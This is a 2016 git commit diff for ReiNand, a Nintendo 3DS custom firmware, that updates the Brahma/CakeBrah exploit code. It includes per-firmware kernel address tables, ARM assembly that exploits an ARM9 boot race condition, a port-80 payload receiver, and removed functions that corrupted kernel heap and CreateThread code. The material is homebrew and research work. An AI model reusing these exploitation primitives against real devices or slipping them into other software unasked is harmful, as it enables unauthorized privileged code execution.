Updated to support hax 2.5, edited README, supports devkitpro 45, etc

This commit is contained in:
Reisyukaku 2016-01-13 17:38:02 -05:00
parent 653bea3e56
commit a6d8d77ac7
24 changed files with 2329 additions and 299 deletions

View File

@ -15,15 +15,13 @@ Pre-compiled version can still be found on my [pastebin](http://pastebin.com/c5A
**Features:** **Features:**
* Ninjhax and MSET support! * Ninjhax 2.5 and MSET support!
* Sig checks disabled * Sig checks disabled!
* screenshots (set for pokemon game offsets currently) [Select Button + X] * Basic ARM9 thread with screenshot and RAM dump capabilities!
* RAM dump (currently set for FCRAM) [Start Button + X] * Emunand up to latest firmware! (with 'Rei' version string)
* emunand (with 'Rei' version string)
**Credits:** **Credits:**
@ -32,7 +30,7 @@ Pre-compiled version can still be found on my [pastebin](http://pastebin.com/c5A
3DBREW for saving me plenty of reverse engineering time. 3DBREW for saving me plenty of reverse engineering time.
Patois for Brahma code. Patois/Cakes for Brahma code.
Normmatt for sdmmc.c and generally being helpful! Normmatt for sdmmc.c and generally being helpful!

2
mset

@ -1 +1 @@
Subproject commit 7f5e51a1fc969ce6d7db1dc81ea92426960367ac Subproject commit 89e4a8f0675ca70a7b0574fdcdd30b0f1d97d43e

6
ninjhax/.gitignore vendored Normal file
View File

@ -0,0 +1,6 @@
*.elf
*.3dsx
*.smdh
build
output

View File

@ -9,6 +9,11 @@ endif
TOPDIR ?= $(CURDIR) TOPDIR ?= $(CURDIR)
include $(DEVKITARM)/3ds_rules include $(DEVKITARM)/3ds_rules
# This should be set externally
name ?= reiNand.dat
filepath ?=
dir_out ?= $(CURDIR)
#--------------------------------------------------------------------------------- #---------------------------------------------------------------------------------
# TARGET is the name of the output # TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed # BUILD is the directory where object files & intermediate files will be placed
@ -26,26 +31,27 @@ include $(DEVKITARM)/3ds_rules
# - icon.png # - icon.png
# - <libctru folder>/default_icon.png # - <libctru folder>/default_icon.png
#--------------------------------------------------------------------------------- #---------------------------------------------------------------------------------
TARGET := ReiNand TARGET := $(name:.dat=)
BUILD := build BUILD := build
SOURCES := source SOURCES := source source/libkhax
DATA := data
INCLUDES := include INCLUDES := include
APP_TITLE := ReiNAND APP_TITLE ?= $(name:.dat=)
APP_DESCRIPTION := N3DS CFW APP_DESCRIPTION ?= Privileged ARM11/ARM9 Code Execution
APP_AUTHOR := Reisyukaku APP_AUTHOR ?= patois
#--------------------------------------------------------------------------------- #---------------------------------------------------------------------------------
# options for code generation # options for code generation
#--------------------------------------------------------------------------------- #---------------------------------------------------------------------------------
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
CFLAGS := -g -Wall -O3 -mword-relocations \ CFLAGS := -g -Wall -Wextra -O3 -mword-relocations \
-fomit-frame-pointer -ffast-math \ -fomit-frame-pointer -ffast-math \
$(ARCH) $(ARCH)
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -w CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DLAUNCHER_PATH='"$(filepath)$(name)"'
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 -w CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11
ASFLAGS := -g $(ARCH) ASFLAGS := -g $(ARCH)
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
@ -66,7 +72,7 @@ LIBDIRS := $(CTRULIB)
ifneq ($(BUILD),$(notdir $(CURDIR))) ifneq ($(BUILD),$(notdir $(CURDIR)))
#--------------------------------------------------------------------------------- #---------------------------------------------------------------------------------
export OUTPUT := $(CURDIR)/$(TARGET) export OUTPUT := $(dir_out)/$(TARGET)
export TOPDIR := $(CURDIR) export TOPDIR := $(CURDIR)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
@ -77,6 +83,7 @@ export DEPSDIR := $(CURDIR)/$(BUILD)
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
#--------------------------------------------------------------------------------- #---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C # use CXX for linking C++ projects, CC for standard C
@ -92,7 +99,8 @@ else
endif endif
#--------------------------------------------------------------------------------- #---------------------------------------------------------------------------------
export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) export OFILES := $(addsuffix .o,$(BINFILES)) \
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \ $(foreach dir,$(LIBDIRS),-I$(dir)/include) \
@ -110,7 +118,7 @@ ifeq ($(strip $(ICON)),)
endif endif
endif endif
else else
export APP_ICON := $(TOPDIR)/$(ICON) export APP_ICON := $(ICON)
endif endif
.PHONY: $(BUILD) clean all .PHONY: $(BUILD) clean all
@ -126,7 +134,8 @@ $(BUILD):
#--------------------------------------------------------------------------------- #---------------------------------------------------------------------------------
clean: clean:
@echo clean ... @echo clean ...
@rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf @rm -fr $(BUILD) $(OUTPUT).3dsx $(OUTPUT).smdh
#--------------------------------------------------------------------------------- #---------------------------------------------------------------------------------
else else
@ -141,8 +150,7 @@ ifeq ($(strip $(NO_SMDH)),)
all : $(OUTPUT).3dsx $(OUTPUT).smdh all : $(OUTPUT).3dsx $(OUTPUT).smdh
endif endif
cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
$(OUTPUT).3dsx : $(OUTPUT).elf $(OUTPUT).3dsx : $(OFILES)
$(OUTPUT).elf : $(OFILES)
#--------------------------------------------------------------------------------- #---------------------------------------------------------------------------------
# you need a rule like this for each extension you use as binary data # you need a rule like this for each extension you use as binary data

121
ninjhax/README-brahma Normal file
View File

@ -0,0 +1,121 @@
Brahma - Privilege elevation exploit for the Nintendo 3DS
=========================================================
WTF is 'Brahma'?
----------------
Brahma is a development tool for the Nintendo 3DS platform that enables
privileged code execution on the ARM9 processor of the Nintendo 3DS platform.
It does so by exploiting two vulnerabilities in order to elevate its
privileges.
The exploits utilized by Brahma are based on "commercial" exploits that
have been reverse engineered. Brahma has been developed with the goal of
understanding and documenting the nature of the exploits in mind and has
been put further effort into during its development process in order to
achieve reliable exploitation and stability.
Brahma comes with full source code that is based on libctru and requires
existing user mode code execution privileges (Ninjhax), and can then be
used to further elevate privileges to ARM9 pre-kernel / SVC mode.
Also, "Brahma, the creator" is a god in hinduism that is often portrayed
with four heads and arms (heh... so funny :\).
How to build:
-------------
- Download and install devkitARM (http://devkitpro.org/wiki/Getting_Started)
- Open a shell and run make
How to use:
-----------
- Prebuilt binary releases are available at
https://github.com/patois/Brahma/releases
- Run brahma.3dsx (using homebrew launcher)
- By default, the exploit will attempt to gain ARM11 kernel privileges before
finally gaining ARM9 pre-kernel privileges (by performing a "firmlaunch")
"Hotkeys" (press and hold during startup of BRAHMA):
----------------------------------------------------
* LEFT : Loads 'arm9payload.bin' from the root folder of the 3DS' SD card
and executes it
* RIGHT : Performs a reboot / firm launch of the 3DS system
* NONE : Displays a menu which allows payload files to be received via
a WiFi network connection or loaded from the '/brahma' folder
located in the root folder of the SD card
In order to send payload files to the 3DS via a network connection,
the Python script '/tools/client.py' can be used. Alternatively, netcat
does the job as well.
Syntax:
-------
client.py: 'python client.py <3DS ip> <filename>'
netcat: 'nc <3DS ip> 80 < <filename>'
Examples:
---------
client.py: 'python client.py 10.0.0.5 payload.bin'
netcat: 'nc 10.0.0.5 80 < payload.bin'
Example programs that run in privileged ARM9 mode can be downloaded from
https://github.com/patois/3DSProjects/tree/master/Brahma/
A memory dumper (3DSDevTools) for Brahma is available at
https://github.com/patois/3DSDevTools/releases
There is also a port of Decrypt9 by archshift which can be loaded using
bootstrap or Brahma (use 'make' to build the project, then use one of the
methods supported by Brahma to load the Decrypt9 payload). Decrypt9 can be
downloaded from https://github.com/archshift/Decrypt9/tree/bootstrap
Developers:
-----------
Brahma and its exploits which enable privileged ARM9 code execution
on the Nintendo 3DS may also be used as a "library" (#include "brahma.h")
- call brahma_init() - initializes Brahma
- call load_arm9_payload() - loads a payload binary from disk
- call firm_reboot() - executes a payload binary (privileged ARM9 code)
- (please check the source code for more features and options)
ARM9 payload must consist of valid ARM9 executable code and will be
mapped to physical address 0x23F00000 during run-time. Its code should begin
with a branch instruction at offset 0 and a 'placeholder' for a u32
variable at offset 4, which will be filled by Brahma with a backup of
the original ARM9 entry point of the FIRM header during runtime.
Brahma is written in a way that allows developers of payload binaries
to easily return control to the 3DS' firmware by simply returning from
the main() function of the payload.
This allows reading and altering of memory contents, such as the mapped
Nintendo firmware (including ARM9 kernel, Process9, ARM11 kernel and several
processes running on the ARM11 core), for testing purposes, without requiring
any changes on the file system level.
Credits:
--------
- To 3dbrew.org and all its contributors for being such a great resource
- To whomever initially found the vulnerabilities and wrote the publicly
available exploit code
- To everybody who's been working on porting this exploit and its various
"bootstrap" branches to newer firmware versions and improving its stability
(in particular yifanlu, yuriks and shinyquagsire23)
- To everybody involved in creating libctru, Ninjhax and the Homebrew Menu
Disclaimer:
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
OF SUCH DAMAGE.
(c) 2015, patois

23
ninjhax/README.md Normal file
View File

@ -0,0 +1,23 @@
CakeBrah
========
This is a fork of Brahma, that loads CakeHax payloads in the environment they expect.
This means mostly setting the framebuffer offsets and mode right.
How to use this in your project
-------------------------------
Look at [CakeHax](https://github.com/mid-kid/CakeHax) for this. It's pretty much the same.
No injection with dd is needed, as it loads the payload from your .dat file.
The different configuration flags are detailed below.
### Makefile options
Name |Default |Description
----------------|------------------------------------|-----------
dir\_out |$(CURDIR) |Where the output files should be placed (3dsx and smdh).
name |Cakes.dat |The name of the .dat file from which the payload will be loaded.
filepath | |Path in the SD card where the .dat file is located.
APP\_TITLE |Cakes |The title of the app shown in the Homebrew Menu.
APP\_DESCRIPTION|Privileged ARM11/ARM9 Code Execution|The description of the app shown in the Homebrew Menu.
APP\_AUTHOR |patois |The author of the app shown in the Homebrew Menu.

View File

@ -2,30 +2,25 @@
#include "exploitdata.h" #include "exploitdata.h"
s32 load_arm9_payload (char *filename); u32 brahma_init (void);
u32 brahma_exit (void);
s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize);
s32 load_arm9_payload_from_mem (u8* data, u32 dsize); s32 load_arm9_payload_from_mem (u8* data, u32 dsize);
void redirect_codeflow (u32 *dst_addr, u32 *src_addr); void redirect_codeflow (u32 *dst_addr, u32 *src_addr);
void do_gshax_copy (void *dst, void *src, u32 len);
void priv_write_four (u32 address);
void user_clear_icache (void);
s32 corrupt_svcCreateThread (void);
s32 map_arm9_payload (void); s32 map_arm9_payload (void);
s32 map_arm11_payload (void); s32 map_arm11_payload (void);
void exploit_arm9_race_condition (void); void exploit_arm9_race_condition (void);
void repair_svcCreateThread (void);
s32 get_exploit_data (struct exploit_data *data); s32 get_exploit_data (struct exploit_data *data);
s32 firm_reboot (); s32 firm_reboot ();
#define load_arm9_payload(filename) load_arm9_payload_offset(filename, 0, 0)
#define BRAHMA_NETWORK_PORT 80 #define BRAHMA_NETWORK_PORT 80
#define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04] #define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04]
#define ARM_RET 0xE12FFF1E // BX LR #define ARM_RET 0xE12FFF1E // BX LR
#define ARM_NOP 0xE1A00000 // NOP #define ARM_NOP 0xE1A00000 // NOP
static u8 *g_ext_arm9_buf;
static u32 g_ext_arm9_size = 0;
static s32 g_ext_arm9_loaded = 0;
extern void *arm11_start; extern void *arm11_start;
extern void *arm11_end; extern void *arm11_end;
extern void *arm9_start; extern void *arm9_start;

View File

@ -17,18 +17,17 @@
/* any changes to this structure must also be applied to /* any changes to this structure must also be applied to
the data structure following the 'arm11_globals_start' the data structure following the 'arm11_globals_start'
label of arm11.s */ label of arm11.s */
typedef struct arm11_shared_data { struct arm11_shared_data {
u32 va_pdn_regs; u32 va_pdn_regs;
u32 va_pxi_regs; u32 va_pxi_regs;
u32 va_hook1_ret; u32 va_hook1_ret;
}; };
typedef struct exploit_data { struct exploit_data {
u32 firm_version; u32 firm_version;
u32 sys_model; // mask u32 sys_model; // mask
u32 va_patch_createthread;
u32 va_patch_hook1; u32 va_patch_hook1;
u32 va_patch_hook2; u32 va_patch_hook2;
u32 va_hook1_ret; u32 va_hook1_ret;
@ -42,15 +41,11 @@ typedef struct exploit_data {
u32 va_pxi_regs; u32 va_pxi_regs;
}; };
static struct exploit_data g_expdata;
static struct arm11_shared_data g_arm11shared;
// add all vulnerable systems below // add all vulnerable systems below
static const struct exploit_data supported_systems[] = { static const struct exploit_data supported_systems[] = {
{ {
0x022E0000, // FIRM version 0x022E0000, // FIRM version
SYS_MODEL_NEW_3DS, // model SYS_MODEL_NEW_3DS, // model
0xDFF83837, // VA of CreateThread code to corrupt
0xDFFE7A50, // VA of 1st hook for firmlaunch 0xDFFE7A50, // VA of 1st hook for firmlaunch
0xDFFF4994, // VA of 2nd hook for firmlaunch 0xDFFF4994, // VA of 2nd hook for firmlaunch
0xFFF28A58, // VA of return address from 1st hook 0xFFF28A58, // VA of return address from 1st hook
@ -64,7 +59,6 @@ static const struct exploit_data supported_systems[] = {
{ {
0x022C0600, // FIRM version 0x022C0600, // FIRM version
SYS_MODEL_NEW_3DS, // model SYS_MODEL_NEW_3DS, // model
0xDFF83837, // VA of CreateThread code to corrupt
0xDFFE7A50, // VA of 1st hook for firmlaunch 0xDFFE7A50, // VA of 1st hook for firmlaunch
0xDFFF4994, // VA of 2nd hook for firmlaunch 0xDFFF4994, // VA of 2nd hook for firmlaunch
0xFFF28A58, // VA of return address from 1st hook 0xFFF28A58, // VA of return address from 1st hook
@ -78,7 +72,6 @@ static const struct exploit_data supported_systems[] = {
{ {
0x02220000, 0x02220000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFF83C9F,
0xEFFE4DD4, 0xEFFE4DD4,
0xEFFF497C, 0xEFFF497C,
0xFFF84DDC, 0xFFF84DDC,
@ -92,7 +85,6 @@ static const struct exploit_data supported_systems[] = {
{ {
0x02230600, 0x02230600,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFF83737,
0xEFFE55BC, 0xEFFE55BC,
0xEFFF4978, 0xEFFF4978,
0xFFF765C4, 0xFFF765C4,
@ -106,7 +98,6 @@ static const struct exploit_data supported_systems[] = {
{ {
0x022E0000, 0x022E0000,
SYS_MODEL_OLD_3DS, SYS_MODEL_OLD_3DS,
0xDFF8383F,
0xDFFE59D0, 0xDFFE59D0,
0xDFFF4974, 0xDFFF4974,
0xFFF279D8, 0xFFF279D8,
@ -120,7 +111,6 @@ static const struct exploit_data supported_systems[] = {
{ {
0x022C0600, 0x022C0600,
SYS_MODEL_OLD_3DS, SYS_MODEL_OLD_3DS,
0xDFF8376F,
0xDFFE4F28, 0xDFFE4F28,
0xDFFF4974, 0xDFFF4974,
0xFFF66F30, 0xFFF66F30,
@ -134,21 +124,19 @@ static const struct exploit_data supported_systems[] = {
{ {
0x02280000, 0x02280000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFF83733,
0xEFFE5B30, 0xEFFE5B30,
0xEFFF4974, 0xEFFF4978,
0xFFF76B38, 0xFFF76B38,
0xF0000000, 0xF0000000,
0xEFFF4000, 0xEFFF4000,
0xFFFF0000, 0xFFFF0000,
0xFFF54BAC, 0xFFF64AAC,
0xFFFD0000, 0xFFFD0000,
0xFFFD2000 0xFFFD2000
}, },
{ {
0x02270400, 0x02270400,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFF83737,
0xEFFE5B34, 0xEFFE5B34,
0xEFFF4978, 0xEFFF4978,
0xFFF76B3C, 0xFFF76B3C,
@ -162,7 +150,6 @@ static const struct exploit_data supported_systems[] = {
{ {
0x02250000, 0x02250000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFF83733,
0xEFFE5AE8, 0xEFFE5AE8,
0xEFFF4978, 0xEFFF4978,
0xFFF76AF0, 0xFFF76AF0,
@ -176,7 +163,6 @@ static const struct exploit_data supported_systems[] = {
{ {
0x02260000, 0x02260000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFF83733,
0xEFFE5AE8, 0xEFFE5AE8,
0xEFFF4978, 0xEFFF4978,
0xFFF76AF0, 0xFFF76AF0,
@ -190,7 +176,6 @@ static const struct exploit_data supported_systems[] = {
{ {
0x02240000, 0x02240000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFF83733,
0xEFFE55B8, 0xEFFE55B8,
0xEFFF4978, 0xEFFF4978,
0xFFF765C0, 0xFFF765C0,

View File

@ -1,4 +1,8 @@
#pragma once #pragma once
void InvalidateEntireInstructionCache (void); void InvalidateEntireInstructionCache (void);
void CleanEntireDataCache (void);
void dsb(void);
void DisableInterrupts (void);
void EnableInterrupts (void);
void InvalidateEntireDataCache (void); void InvalidateEntireDataCache (void);

View File

@ -11,8 +11,8 @@ arm11_start:
hook1: hook1:
STMFD SP!, {R0-R12,LR} STMFD SP!, {R0-R12,LR}
MOV R0, #1000 MOV R0, #64
BL busy_spin BL delay
MOV R0, #0 MOV R0, #0
BL pxi_send BL pxi_send
@ -29,15 +29,9 @@ hook1:
MOV R0, #2 MOV R0, #2
BL pdn_send BL pdn_send
MOV R0, #16
BL busy_spin
MOV R0, #0 MOV R0, #0
BL pdn_send BL pdn_send
MOV R0, #16
BL busy_spin
LDMFD SP!, {R0-R12,LR} LDMFD SP!, {R0-R12,LR}
LDR R0, var_44836 LDR R0, var_44836
@ -53,6 +47,10 @@ hook2:
LDR R2, pa_hijack_arm9_dst LDR R2, pa_hijack_arm9_dst
MOV R4, R2 MOV R4, R2
BL copy_mem BL copy_mem
MOV r0, #0
MCR p15, 0, r0, c7, c10, 0 @ Clean data cache
MCR p15, 0, r0, c7, c10, 4 @ Drain write buffer
MCR p15, 0, r0, c7, c5, 0 @ Flush instruction cache
BX R4 BX R4
@ exploits a race condition in order @ exploits a race condition in order
@ -78,12 +76,6 @@ wait_arm9_loop:
ANDS R0, R0, #1 ANDS R0, R0, #1
BNE wait_arm9_loop BNE wait_arm9_loop
@ get arm9 orig entry point phys addr from FIRM header
LDR R0, [R10, #0x0C]
@ backup orig entry point to FCRAM + offs ARM9 payload + 4
STR R0, [R9, #0x4]
@ overwrite orig entry point with FCRAM addr @ overwrite orig entry point with FCRAM addr
@ this exploits the race condition bug @ this exploits the race condition bug
STR R9, [R10, #0x0C] STR R9, [R10, #0x0C]
@ -96,7 +88,7 @@ wait_arm11_loop:
BX R1 BX R1
pa_hijack_arm9_dst: .long 0x1FFFFC00 pa_hijack_arm9_dst: .long 0x1FFFFC00
pa_arm11_code: .long 0x1FFFFFFC pa_arm11_code: .long 0x1FFFFFF8
pa_pxi_regs: .long 0x10163000 pa_pxi_regs: .long 0x10163000
some_pxi_cmd: .long 0x44846 some_pxi_cmd: .long 0x44846
pa_firm_header: .long 0x24000000 pa_firm_header: .long 0x24000000
@ -128,12 +120,6 @@ loc_FFFF0AA8:
locret_FFFF0AC0: locret_FFFF0AC0:
BX LR BX LR
busy_spin:
SUBS R0, R0, #2
NOP
BGT busy_spin
BX LR
pdn_send: pdn_send:
LDR R1, va_pdn_regs LDR R1, va_pdn_regs
STRB R0, [R1, #0x230] STRB R0, [R1, #0x230]
@ -146,6 +132,15 @@ loc_1020D0:
TST R2, #2 TST R2, #2
BNE loc_1020D0 BNE loc_1020D0
STR R0, [R1,#8] STR R0, [R1,#8]
MOV R0, #4
delay:
MOV R1, #0
MCR p15, 0, r1, c7, c10, 0
MCR p15, 0, r1, c7, c10, 4
loop:
SUBS R0, #1
BGT loop
BX LR BX LR
pxi_recv: pxi_recv:

View File

@ -4,15 +4,23 @@
#include <string.h> #include <string.h>
#include <malloc.h> #include <malloc.h>
#include <dirent.h> #include <dirent.h>
#include <unistd.h>
#include <sys/socket.h> #include <sys/socket.h>
#include <sys/_default_fcntl.h> #include <sys/_default_fcntl.h>
#include <netinet/in.h> #include <netinet/in.h>
#include <arpa/inet.h> #include <arpa/inet.h>
#include "brahma.h" #include "brahma.h"
#include "exploitdata.h" #include "exploitdata.h"
#include "utils.h" #include "utils.h"
#include "libkhax/khax.h"
GSP_FramebufferInfo topFramebufferInfo, bottomFramebufferInfo; static u8 *g_ext_arm9_buf;
static u32 g_ext_arm9_size = 0;
static s32 g_ext_arm9_loaded = 0;
static struct exploit_data g_expdata;
static struct arm11_shared_data g_arm11shared;
u32 frameBufferData[3];
/* should be the very first call. allocates heap buffer /* should be the very first call. allocates heap buffer
for ARM9 payload */ for ARM9 payload */
@ -32,35 +40,17 @@ u32 brahma_exit (void) {
/* overwrites two instructions (8 bytes in total) at src_addr /* overwrites two instructions (8 bytes in total) at src_addr
with code that redirects execution to dst_addr */ with code that redirects execution to dst_addr */
void redirect_codeflow (u32 *dst_addr, u32 *src_addr) { void redirect_codeflow (u32 *dst_addr, u32 *src_addr) {
*(src_addr + 1) = dst_addr; *(src_addr + 1) = (u32)dst_addr;
*src_addr = ARM_JUMPOUT; *src_addr = ARM_JUMPOUT;
} }
/* exploits a bug that causes the GPU to copy memory
that otherwise would be inaccessible to code from
a non-privileged context */
void do_gshax_copy (void *dst, void *src, u32 len) {
u32 check_mem = linearMemAlign(0x10000, 0x40);
s32 i = 0;
for (i = 0; i < 16; ++i) {
GSPGPU_FlushDataCache (NULL, src, len);
GX_SetTextureCopy(NULL, src, 0, dst, 0, len, 8);
GSPGPU_FlushDataCache (NULL, check_mem, 16);
GX_SetTextureCopy(NULL, src, 0, check_mem, 0, 0x40, 8);
}
HB_FlushInvalidateCache();
linearFree(check_mem);
return;
}
/* fills exploit_data structure with information that is specific /* fills exploit_data structure with information that is specific
to 3DS model and firmware version to 3DS model and firmware version
returns: 0 on failure, 1 on success */ returns: 0 on failure, 1 on success */
s32 get_exploit_data (struct exploit_data *data) { s32 get_exploit_data (struct exploit_data *data) {
u32 fversion = 0; u32 fversion = 0;
u8 isN3DS = 0; u8 isN3DS = 0;
s32 i; u32 i;
s32 result = 0; s32 result = 0;
u32 sysmodel = SYS_MODEL_NONE; u32 sysmodel = SYS_MODEL_NONE;
@ -68,11 +58,11 @@ s32 get_exploit_data (struct exploit_data *data) {
return result; return result;
fversion = osGetFirmVersion(); fversion = osGetFirmVersion();
APT_CheckNew3DS(NULL, &isN3DS); APT_CheckNew3DS(&isN3DS);
sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS; sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS;
/* copy platform and firmware dependent data */ /* copy platform and firmware dependent data */
for(i=0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) { for(i = 0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) {
if (supported_systems[i].firm_version == fversion && if (supported_systems[i].firm_version == fversion &&
supported_systems[i].sys_model & sysmodel) { supported_systems[i].sys_model & sysmodel) {
memcpy(data, &supported_systems[i], sizeof(struct exploit_data)); memcpy(data, &supported_systems[i], sizeof(struct exploit_data));
@ -83,64 +73,6 @@ s32 get_exploit_data (struct exploit_data *data) {
return result; return result;
} }
/* exploits a bug in order to cause the ARM11 kernel
to write a certain 32 bit value to 'address' */
void priv_write_four (u32 address) {
const u32 size_heap_cblk = 8 * sizeof(u32);
u32 addr_lin, addr_lin_o;
u32 dummy;
u32 *saved_heap = linearMemAlign(size_heap_cblk, 0x10);
u32 *cstm_heap = linearMemAlign(size_heap_cblk, 0x10);
svcControlMemory(&addr_lin, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, 0x3);
addr_lin_o = addr_lin + 0x1000;
svcControlMemory(&dummy, addr_lin_o, 0, 0x1000, MEMOP_FREE, 0);
// back up heap
do_gshax_copy(saved_heap, addr_lin_o, size_heap_cblk);
// set up a custom heap ctrl structure
cstm_heap[0] = 1;
cstm_heap[1] = address - 8;
cstm_heap[2] = 0;
cstm_heap[3] = 0;
// corrupt heap ctrl structure by overwriting it with our custom struct
do_gshax_copy(addr_lin_o, cstm_heap, 4 * sizeof(u32));
// Trigger write to 'address'
svcControlMemory(&dummy, addr_lin, 0, 0x1000, MEMOP_FREE, 0);
// restore heap
do_gshax_copy(addr_lin, saved_heap, size_heap_cblk);
linearFree(saved_heap);
linearFree(cstm_heap);
return;
}
// trick to clear icache
void user_clear_icache (void) {
s32 i, result = 0;
s32 (*nop_func)(void);
const u32 size_nopslide = 0x1000;
u32 *nop_slide = memalign(0x1000, size_nopslide);
if (nop_slide) {
HB_ReprotectMemory(nop_slide, 4, 7, &result);
for (i = 0; i < size_nopslide / sizeof(u32); i++) {
nop_slide[i] = ARM_NOP;
}
nop_slide[i-1] = ARM_RET;
nop_func = nop_slide;
HB_FlushInvalidateCache();
nop_func();
free(nop_slide);
}
return;
}
/* get system dependent data and set up ARM11 structures */ /* get system dependent data and set up ARM11 structures */
s32 setup_exploit_data (void) { s32 setup_exploit_data (void) {
s32 result = 0; s32 result = 0;
@ -155,27 +87,14 @@ s32 setup_exploit_data (void) {
return result; return result;
} }
/* Corrupts ARM11 kernel code (CreateThread()) in order to
open a door for code execution with ARM11 SVC privileges. */
s32 corrupt_svcCreateThread (void) {
s32 result = 0;
priv_write_four(g_expdata.va_patch_createthread);
user_clear_icache();
result = 1;
return result;
}
/* TODO: network code might be moved somewhere else */ /* TODO: network code might be moved somewhere else */
s32 recv_arm9_payload (void) { s32 recv_arm9_payload (void) {
s32 sockfd; s32 sockfd;
struct sockaddr_in sa; struct sockaddr_in sa;
s32 ret;
u32 kDown, old_kDown; u32 kDown, old_kDown;
s32 clientfd; s32 clientfd;
struct sockaddr_in client_addr; struct sockaddr_in client_addr;
s32 addrlen = sizeof(client_addr); u32 addrlen = sizeof(client_addr);
s32 sflags = 0; s32 sflags = 0;
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
@ -188,7 +107,7 @@ s32 recv_arm9_payload (void) {
sa.sin_port = htons(BRAHMA_NETWORK_PORT); sa.sin_port = htons(BRAHMA_NETWORK_PORT);
sa.sin_addr.s_addr = gethostid(); sa.sin_addr.s_addr = gethostid();
if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) { if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
printf("[!] Error: bind()\n"); printf("[!] Error: bind()\n");
close(sockfd); close(sockfd);
return 0; return 0;
@ -250,7 +169,7 @@ s32 recv_arm9_payload (void) {
fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK); fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK);
printf("\n\n[x] Received %d bytes in total\n", total); printf("\n\n[x] Received %u bytes in total\n", (unsigned int)total);
g_ext_arm9_size = overflow ? 0 : total; g_ext_arm9_size = overflow ? 0 : total;
g_ext_arm9_loaded = (g_ext_arm9_size != 0); g_ext_arm9_loaded = (g_ext_arm9_size != 0);
@ -262,10 +181,16 @@ s32 recv_arm9_payload (void) {
